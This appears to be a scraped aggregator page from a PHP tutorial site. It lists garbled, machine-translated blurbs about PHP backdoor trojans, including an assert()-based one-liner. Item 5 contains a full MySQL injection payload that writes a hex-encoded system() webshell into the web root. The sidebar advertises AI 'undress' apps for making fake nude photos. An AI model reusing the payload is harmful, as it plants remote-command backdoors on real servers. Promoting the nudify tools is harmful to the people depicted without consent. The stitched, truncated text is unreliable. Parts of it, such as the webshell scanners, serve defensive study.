10 content recommendations for backdoor Trojans
This article will introduce a backdoor Trojan with a very short code and very hidden, so that everyone can avoid being hooked by the Trojan when detecting the program. The content of the file is as follows: There are many comment characters inserted in the code, which will be difficult to detect if the server's detection program is not rigorous. After deleting the comments, the code is as follows: The final code actually executed is: It turns out that this backdoor uses the php assert method to execute the program. boolasassert ( mixed $assertion [, string $description ] ) assert() checks the specified assertion and takes appropriate action if the result is FALSE. If the assertion is a string, it will be executed as PHP code by assert(). If the content of $assertion is phpinfo();, the server information will be returned, allowing the attacker to obtain the server information for this attack. After uploading this backdoor, the attacker only needs to create a simple HTML to execute PHP statements in the server. Assume that the backdoor file is bac
1. Short and hidden backdoor Trojan code
Introduction::This article mainly introduces The code is short and hidden. Students who are interested in PHP tutorials can refer to it.
2. php webshell scans backdoor Trojan example program_PHP tutorial
Introduction: php webshell scans backdoor Trojan example program. This article will introduce you to a PHP webshell backdoor Trojan scanning example program. This can scan the Trojans on your website. This provides great convenience for you to find website Trojans
3. php webshell scans backdoor Trojan example program
Introduction: php webshell scans backdoor Trojan example program. This article will introduce you to a PHP webshell backdoor Trojan scanning example program. This can scan the Trojans on your website. This provides great convenience for you to find website Trojans
4. Talk about those powerful PHP one-sentence backdoor Trojans
##Three deformed one-sentence PHP Trojans
First one:
Introduction: We treat these PHP backdoor programs with a learning mentality. Many PHP backdoor codes allow us to see programmers How well-intentioned they are. This kind of backdoor gives website and server administrators a lot of headaches. They often have to use different methods to perform various detections, and many emerging writing technologies cannot be discovered and processed using ordinary detection methods. . Today we will detail some
##5.Specific methods of using Mysql statements to generate backdoor Trojans_MySQL ##Introduction: How to generate backdoor Trojans through Mysql statements: SELECT * FROM `vbb_strikes` WHERE 1 union select2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/ inetpub/wwwroot/cmd.php' through Mysql injection or in In phpmyadmin
6.
Method to generate backdoor Trojan through Mysql statement_MySQLIntroduction: Through Mysql The method of generating backdoor Trojans by statements
7.
The method of generating backdoor Trojans by statements of Mysql_MySQLIntroduction: This article mainly introduces the method of generating backdoor Trojans using Mysql statements. Please don’t destroy it at will. Friends, just learn it.
##8. Through Mysql. Method of generating backdoor Trojans through statements_MySQL
Introduction: Methods of generating backdoor Trojans through Mysql statements
[Related Q&A recommendations] :
The above is the detailed content of 10 content recommendations for backdoor Trojans. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics











PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

In PHP, password_hash and password_verify functions should be used to implement secure password hashing, and MD5 or SHA1 should not be used. 1) password_hash generates a hash containing salt values to enhance security. 2) Password_verify verify password and ensure security by comparing hash values. 3) MD5 and SHA1 are vulnerable and lack salt values, and are not suitable for modern password security.

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP is suitable for web development, especially in rapid development and processing dynamic content, but is not good at data science and enterprise-level applications. Compared with Python, PHP has more advantages in web development, but is not as good as Python in the field of data science; compared with Java, PHP performs worse in enterprise-level applications, but is more flexible in web development; compared with JavaScript, PHP is more concise in back-end development, but is not as good as JavaScript in front-end development.
